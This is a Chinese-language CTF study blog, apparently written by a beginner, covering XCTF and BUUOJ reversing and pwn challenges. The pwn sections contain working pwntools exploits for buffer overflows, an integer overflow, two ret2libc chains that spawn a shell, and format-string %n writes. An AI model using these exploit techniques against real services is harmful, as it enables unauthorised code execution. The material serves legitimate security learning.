xctf babyre
第一次做smc程序,看了wp学了下打patch。
打开ida启动反汇编就发现judge是全程序的关键,但是judge在开头进行了异或操作,导致反汇编不出来。于是可以用ida打patch来让ida正确反汇编函数。
如果是花指令,就可以使用edit-patch programmer将字节码改成nop跳过花指令。如果是需要编写脚本来正确反编译,可以在file-script command里编写脚本(7.5无法直接使用patchbyte()指令,需要from idc_bc695 import *)。
然后再使用快捷键c重新生成汇编代码,发现已经有汇编代码正确生成,再使用快捷键p重新生成函数即可发现关键函数。
xctf easyhook
打开ida尝试进行静态分析,但因为太多干扰函数和复杂的winapi分析了半小时没分析出来(汗),看了下wp,说用动态调试好解决,于是便进行了动态调试分析。
先直接让程序运行,直接在提示输入的函数下断点,运行输入后提示错误,说明判断条件在函数内部。进入函数后狂按f8,发现程序在writefile后会入栈一串加密的字符串,于是可以判定程序在此进行判断
我在找加密后的flag这里掉了坑,一直以为后面call401240里给的This_is_not_the_flag是加密后的flag,导致写出的脚本一直得不到flag。后来看了wp才知道原来程序在加密后就直接进行了判断。
最后写出脚本
xctf EasyRe
打开ida后反编译得到
程序很简单就简单的异或,于是直接写脚本,但是却得到了反的flag:}NsDkw9sy3qPto4UqNx{galf
于是开始找原因,后来在汇编代码中发现了问题,原来在汇编代码中,他是从后到前开始异或的,但是在反编译中却没编译出来。以后还是不能全部相信f5反编译。
xctf mysterious
打开ida发现是windows程序,打开winmain发现程序运算逻辑,先用getdlgitemtexta api输入内容,然后运用atoi将字符串转换成数字,然后将转换后的数字加一,再将转换后的数字变成字符串,最后拼接输出。这题我卡的地方就在于不知道atoi函数和itoa函数,导致我跟进进去没分析出来www
1 2 3 4 5 6 7 8 9 10 11 12 itoa()函数 itoa():char *itoa( int value , char *string ,int radix); 原型说明:value :欲转换的数据。string :目标字符串的地址。 radix:转换后的进制数,可以是10 进制、16 进制等,范围必须在 2 -36 。 功能:将整数value 转换成字符串存入string 指向的内存空间 ,radix 为转换时所用基数(保存到字符串中的数据的进制基数)。 返回值:函数返回一个指向 str,无错误返回。
xctf parallel-comparator-200
读源码的题
首先题目标准流输入了一个长度为21的字符串,然后对字符串进行了操作,并返回1,接着看字符串处理
先定义了一个随机数,随机数的范围为97-123
后定义了一个二维数组 [] [0]存放随机数,[] [1]存放题目给定的数组,[] [2]存放用户输入的字符串
这串代码意思是checking函数的返回值result必须全部为零,所以接着看checking函数内部
再异或一次(argument[1]+argument[0])就可以得到flag,因为不知道随机数是多少所以采取暴力手法

得到flag:lucky_hacker_you_are
xctf testre
1 2 3 4 base64字母表:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 +/ base58字母表:123456789 ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz base32字母表:ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789 base16字母表:abcdefghijklmnopqrstuvwxyz123456789
打开后发现两个字母表一个是64一个是58,将字符串用这两个字母表尝试下可以得到flag
xctf simple check
这道题尝试了下gdb调试和od调试,od调试没啥说的。主要是联系linux下的gdb调试。
1 2 3 4 5 6 7 8 常见的gdb命令符1. file xxxxx 挂载文件2. b xxxx 下断点3. n 单步步过4. r 运行程序5. s 单步步入6. quit 退出调试
题目只要在check函数判断正确就可以输出flag,可以用动态调试将check函数返回的eax值手动改为1,强制判断正确,输出正确的flag。静态调试没分析出来,目前还在看题解的静态调试www
xctf easyre-153
打开程序找到main函数后,先对程序有个大致了解。
看到关键函数只有一个printf函数,我猜测应该是程序ida在汇编是发生错误,有可能是题目故意让ida反编译不吹来。找到造成反编译错误点比较困难。
但看到后面有两个连续的if判断,我最开始想到的方法是使用动态调试跳过这两个判断语句直接的到flag,但实际上在linux使用gdb调试时,我下断点调试时,不知道为啥gdb遇到输入的时候按ctrl+z或者ctrl+j无法结束输入(是我太菜了,悲)。没法结束判断条件就没法跳过后面的两个判断,所以gdb调试只能作罢。又开始了静态分析读代码。
在查看了lol的汇编代码后,我发现确实是ida没有反汇编出来,于是只好一点一点看汇编。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 .text:080485 F4 lol proc near ; CODE XREF: main+EE↓p .text:080485F4 ; DATA XREF: main+AC↓o .text:080485F4 .text:080485F4 var_13 = byte ptr -13h .text:080485F4 var_12 = byte ptr -12h .text:080485F4 var_11 = byte ptr -11h .text:080485F4 var_10 = byte ptr -10h .text:080485F4 var_F = byte ptr -0Fh .text:080485F4 var_E = byte ptr -0Eh .text:080485F4 var_D = byte ptr -0Dh .text:080485F4 var_C = dword ptr -0Ch .text:080485F4 arg_0 = dword ptr 8 .text:080485F4 .text:080485F4 push ebp .text:080485F5 mov ebp, esp .text:080485F7 sub esp, 28h .text:080485FA mov eax, [ebp+arg_0] //给定基地址 .text:080485FD add eax, 1 //基地址位置+1 .text:08048600 movzx eax, byte ptr [eax] //将地址的值赋给eax .text:08048603 mov edx, eax //将值保存 .text:08048605 mov eax, [ebp+arg_0] //重复刚才的动作 .text:08048608 add eax, 1 .text:0804860B movzx eax, byte ptr [eax] .text:0804860E lea eax, [edx+eax] //将两次保存的值赋值给eax ,相当于乘以2 .text:08048611 mov [ebp+var_13], al //将保存的eax值赋值给ebp+var_13的地址上 可以得到[eax+var_13]=2*[eax+arg_0+1] .text:08048614 mov eax, [ebp+arg_0] .text:08048617 add eax, 4 .text:0804861A movzx eax, byte ptr [eax] .text:0804861D mov edx, eax .text:0804861F mov eax, [ebp+arg_0] .text:08048622 add eax, 5 .text:08048625 movzx eax, byte ptr [eax] .text:08048628 lea eax, [edx+eax] .text:0804862B mov [ebp+var_12], al [ebp+var_12]=[eax+arg_0+4]+[eax+arg_0+5] .text:0804862E mov eax, [ebp+arg_0] .text:08048631 add eax, 8 .text:08048634 movzx eax, byte ptr [eax] .text:08048637 mov edx, eax .text:08048639 mov eax, [ebp+arg_0] .text:0804863C add eax, 9 .text:0804863F movzx eax, byte ptr [eax] .text:08048642 lea eax, [edx+eax] .text:08048645 mov [ebp+var_11], al [ebp+var_11]=[eax+arg_0+8]+[eax+arg_0+9] .text:08048648 mov eax, [ebp+arg_0] .text:0804864B add eax, 0Ch .text:0804864E movzx eax, byte ptr [eax] .text:08048651 mov edx, eax .text:08048653 mov eax, [ebp+arg_0] .text:08048656 add eax, 0Ch .text:08048659 movzx eax, byte ptr [eax] .text:0804865C lea eax, [edx+eax] .text:0804865F mov [ebp+var_10], al [ebp+var_10]=2*[eax+arg_0+12] .text:08048662 mov eax, [ebp+arg_0] .text:08048665 add eax, 12h .text:08048668 movzx eax, byte ptr [eax] .text:0804866B mov edx, eax .text:0804866D mov eax, [ebp+arg_0] .text:08048670 add eax, 11h .text:08048673 movzx eax, byte ptr [eax] .text:08048676 lea eax, [edx+eax] .text:08048679 mov [ebp+var_F], al [ebp+var_15]=[eax+arg_0+17]+[eax+arg_0+18] .text:0804867C mov eax, [ebp+arg_0] .text:0804867F add eax, 0Ah .text:08048682 movzx eax, byte ptr [eax] .text:08048685 mov edx, eax .text:08048687 mov eax, [ebp+arg_0] .text:0804868A add eax, 15h .text:0804868D movzx eax, byte ptr [eax] .text:08048690 lea eax, [edx+eax] .text:08048693 mov [ebp+var_E], al [ebp+var_14]=[eax+arg_0+10]+[eax+arg_0+21] .text:08048696 mov eax, [ebp+arg_0] .text:08048699 add eax, 9 .text:0804869C movzx eax, byte ptr [eax] .text:0804869F mov edx, eax .text:080486A1 mov eax, [ebp+arg_0] .text:080486A4 add eax, 19h .text:080486A7 movzx eax, byte ptr [eax] .text:080486AA lea eax, [edx+eax] .text:080486AD mov [ebp+var_D], al [ebp+var_13]=[eax+arg_0+9]+[eax+arg_0+25] .text:080486B0 mov [ebp+var_C], 0 [ebp+var_12]=0 .text:080486B7 cmp [ebp+var_C], 1 .text:080486BB jnz short loc_80486D3 .text:080486BD mov eax, offset format ; "%s" .text:080486C2 lea edx, [ebp+var_13] .text:080486C5 mov [esp+4], edx .text:080486C9 mov [esp], eax ; format .text:080486CC call _printf .text:080486D1 jmp short locret_80486E0
整理出来得到
1 2 3 4 5 6 7 8 =2* =+ =+ =2* =+ =+ =+ =0
只要找到传进来的eax+arg_0是谁就可以解除这道题,有下标25的数组,只能猜测是buf或者是pipe[1],先尝试pipe[1],我先尝试了下按照左边的地址大小找flag写脚本。
1 2 3 4 5 6 7 8 9 10 11 12 a = '69800876143568214356928753' a = list (map (ord ,a)) flag = "" flag += chr (a[9 ]+a[25 ]) flag += chr (a[10 ]+a[21 ]) flag += chr (a[17 ]+a[18 ]) flag += chr (2 *a[12 ]) flag += chr (a[8 ]+a[9 ]) flag += chr (a[4 ]+a[5 ]) flag += chr (2 *a[1 ])print (flag)
又尝试了下反着输入,得到了flag
有没有哪位同志可以解释下linux下gdb调试怎么才可以结束输入wwww,以后还是尝试用ida调试elf文件吧qaq
xctf pwn level0
第一次做pwn题,题目就是简单的栈溢出,当允许写入的量超过了堆栈的就可以覆盖返回地址,从而让地址回到自己想要的地方
exp:
1 2 3 4 5 from pwn import * a=remote("111.200.241.222" ,58857 ) payload=b'a' *136 +p64(0x0040059A ) a.send(payload) a.interactive()
xctf pwn level2
xctf pwn guess_number
gets(&)漏洞,加上伪随机数。伪随机数的一个特点就是,只要我们将种子固定,那么它生成的随机数就是固定的。于是我们只要覆盖随机种子将它改成我们想要的种子即可,正好程序的v7数组的栈地址就在种子的上面。
buuoj pwn ciscn_2019_n_1
这道题很简单,利用gets函数可以无限输入的漏洞,把v1的栈溢出到v2,将v2的值改成题目要求的值,但我这里犯了个错误,我最开始的时候是想直接把v1,v2的栈直接溢出,然后覆盖原有的地址,直接返回到调用system(“cat \flag”)的地址执行,结果写exp执行后一直timeout,后来才想到把把v1的栈溢出改v2的值。
要想让v2的值等于11.825,要先找到11.825的16进制值,因为11.825在内存中是以16进制形式存储的。找到后就可以直接写exp了。


jarvisoj_level0 buuoj pwn
基础的栈溢出问题,打开关键函数发现,可以写入的量超过了栈,于是可以覆盖返回地址
xctf int overflow
这题看题目就知道可以利用int的溢出,当数据超过int型的最大范围时,就会溢出变为负数的最大值
于是我们只要将buf的长度更改为258-266之间,并且在buf的前面把dest的栈溢出即可
exp:
1 2 3 4 5 6 7 8 9 10 from pwn import * a=remote("111.200.241.244" ,54577 ) a.recvuntil("Your choice:" ) a.sendline(b'1' ) a.recvuntil("Please input your username:" ) a.sendline(b'123' ) a.recvuntil("Please input your passwd:" ) payload=b'a' *24 +p32(0x08048694 ) a.sendline(payload.ljust(260 ,b'a' )) a.interactive()
buuoj ciscn_2019_c_1
checksec后发现是标准的ret2libc题目,但是这个程序是64位的,在构造payload获得puts的地址方式有差别
64位:覆盖栈+.got+.plt+main的地址
32位:覆盖栈+.plt+main的地址+.got
然后此题的环境还是ubuntu18,Ubuntu18以上后在构造栈溢出后需要堆栈平衡,就必须引入pop_rdi_ret
于是就可以写payload了,但是我的exp卡在了puts_addr=u64(a.recv(7)[:-1].ljust(8,b’\x00’))这里,看了别人的exp才知道在这前面还要再吃个回车,我也不知道为啥,是因为puts(s)?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *from LibcSearcher import * a=remote("node4.buuoj.cn" ,26328 ) elf=ELF("./ciscn_2019_c_1" ) puts_plt=elf.plt["puts" ] puts_got=elf.got["puts" ] main_addr=0x00400B28 pop_rdi_ret=0x400c83 a.recvuntil("Input your choice!" ) a.sendline(b'1' ) a.recvuntil("Input your Plaintext to be encrypted" ) payload1=b'a' *0x50 +b'a' *0x08 +p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) a.sendline(payload1) a.recvuntil("Ciphertext\n" ) a.recvuntil("\n" ) puts_addr=u64(a.recv(7 )[:-1 ].ljust(8 ,b'\x00' )) libc=LibcSearcher('puts' ,puts_addr)print (hex (puts_addr)) libcbase=puts_addr-libc.dump('puts' ) system_addr=libcbase+libc.dump('system' ) bin_sh_addr=libcbase+libc.dump("str_bin_sh" ) a.recvuntil("Input your choice!" ) a.sendline(b'1' ) a.recvuntil("Input your Plaintext to be encrypted" ) payload2=b'a' *0x50 +b'a' *0x08 +p64(0x00400C1C )+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr) a.sendline(payload2) a.interactive()
xctf pwn cgfsb
本题利用的是格式化字符串的漏洞来进行解题
相关知识:
3.1.1 格式化字符串漏洞 · CTF All In One (gitbooks.io)
Format String - CTF Wiki (ctf-wiki.org)
要点 :
根据 cdecl 的调用约定,在进入 printf()
函数之前,将参数从右到左依次压栈。进入 printf()
之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 %
,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:% d
和 %d
是一样的)
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况
当前字符不是 %,直接输出到相应标准输出。
当前字符是 %, 继续读取下一个字符
如果没有字符,报错
如果下一个字符是 %, 输出 %
否则根据相应的字符,获取相应的参数,对其进行解析并输出
那么假设,此时我们在编写程序时候,写成了下面的样子
1 >printf ("Color %s, Number %d, Float %4.2f" );
此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
解析其地址对应的字符串
解析其内容对应的整形值
解析其内容对应的浮点值
//源码
#include<stdio.h>
void main() {
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}
1 2 3 4 5 6 7 8 9 10 11 12 [------------------------------------stack-------------------------------------] 0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") 0004| 0xffffd554 --> 0x1 0008| 0xffffd558 --> 0x88888888 0012| 0xffffd55c --> 0xffffffff 0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") 0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x56555642 in main ()
格式字符串的地址在 0xffffd584
,从下面的输出中可以看到它们在栈中是怎样排布的:
1 2 3 4 5 6 7 8 9 10 11 12 >gdb-peda$ x/20w $esp >0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff >0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7 >0xffffd570: 0xf7ffda54 0x00000001 0x424135d0 0x00004443 >0xffffd580: 0x00000000 0x41414141 0x2e70252e 0x252e7025 >0xffffd590: 0x70252e70 0x2e70252e 0x252e7025 0x70252e70 >gdb-peda$ x/20wb 0xffffd584 >0xffffd584: 0x41 0x41 0x41 0x41 0x2e 0x25 0x70 0x2e >0xffffd58c: 0x25 0x70 0x2e 0x25 0x70 0x2e 0x25 0x70 >0xffffd594: 0x2e 0x25 0x70 0x2e >gdb-peda$ python print('\x2e\x25\x70') >.%p
下面是程序运行的结果:
1 2 3 >gdb-peda$ c >Continuing. >AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
0x41414141
是输出的第 13 个字符,所以我们使用 %13$s
即可读出 0x41414141
处的内容,当然,这里可能是一个不合法的地址。只要将0x41414141改成有效地址就可以任意地址的访问
%$n可以将当前已经写入的字符个数赋值给所给的地址
根据前面对于格式化字符串漏洞的学习,我们可以找到pwn的地址,对其进行覆盖,pwnme位于bss区域,地址不会更改,所以我们只要找到printf的偏移量就可以写exp了

可以知道偏移量为10
exp:
1 2 3 4 5 6 7 from pwn import * a=remote("111.200.241.244" ,55080 ) a.sendlineafter("please tell me your name:" ,123 ) payload=p32(0x0804A068 )+b'aaaa' +b'%10$n' a.recvuntil("leave your message please:" ) a.sendline(payload) a.interactive()
xctf pwn hello_pwn
buuoj pwn pwn5
首先先checksec一下程序,发现不可栈溢出和NX。打开ida分析下
同时判断的关键数据的地址正好位于bss段,地址不会更改。于是可以利用格式化输出的漏洞
发现偏移量位10,于是可以写exp
1 2 3 4 5 6 7 8 from pwn import * a=remote("node4.buuoj.cn" ,28470 ) a.recvuntil("your name:" ) payload=p32(0x0804C044 )+b'aaaa' +b'%10$n' a.sendline(payload) a.recvuntil("your passwd:" ) a.sendline(b'8' ) a.interactive()
buuoj pwn ciscn_2019_n_8
scanf(“%s”)既提供了首地址,然后又没有限制输入的长度,可以利用这个来进行栈覆盖
buuoj pwn babyrop
首先打开ida分析下程序运行方式
程序先从文件里读入数据,然后让我们输入字符串,并进行比较,如果一样就可以继续操作,然后就可以利用栈溢出来得到libc,从而解决问题。
因为我们不知道程序读入的数据是多少,于是我们只能修改我们输入的值,让它对比通过,可以直接将字符串截断,因为是空字符串,于是肯定能比较成功,在payload中"\x00"可以截断字符串,然后再将buf[7]取最大值就行了"\xff"(255)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import * a= remote("node4.buuoj.cn" ,29138 ) elf = ELF("./pwn" ) libc = ELF("libc_32.so.6" ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main_addr=0x08048825 payload1=b'\x00' +b'\xff' *7 a.sendline(payload1) a.recvuntil("Correct\n" ) payload2=b'a' *0xeb +p32(write_plt)+p32(main_addr)+p32(0 )+p32(write_got) a.sendline(payload2) write_addr=u32(a.recv(4 )) libcbase=write_addr-libc.sym['write' ] system_addr=libcbase+libc.sym['system' ] bin_sh_addr=libcbase+next (libc.search(b'/bin/sh' )) payload1=b'\x00' +b'\xff' *7 a.sendline(payload1) a.recvuntil("Correct\n" ) payload2=b'a' *0xeb +p32(system_addr)+p32(1 )+p32(bin_sh_addr) a.sendline(payload2) a.interactive()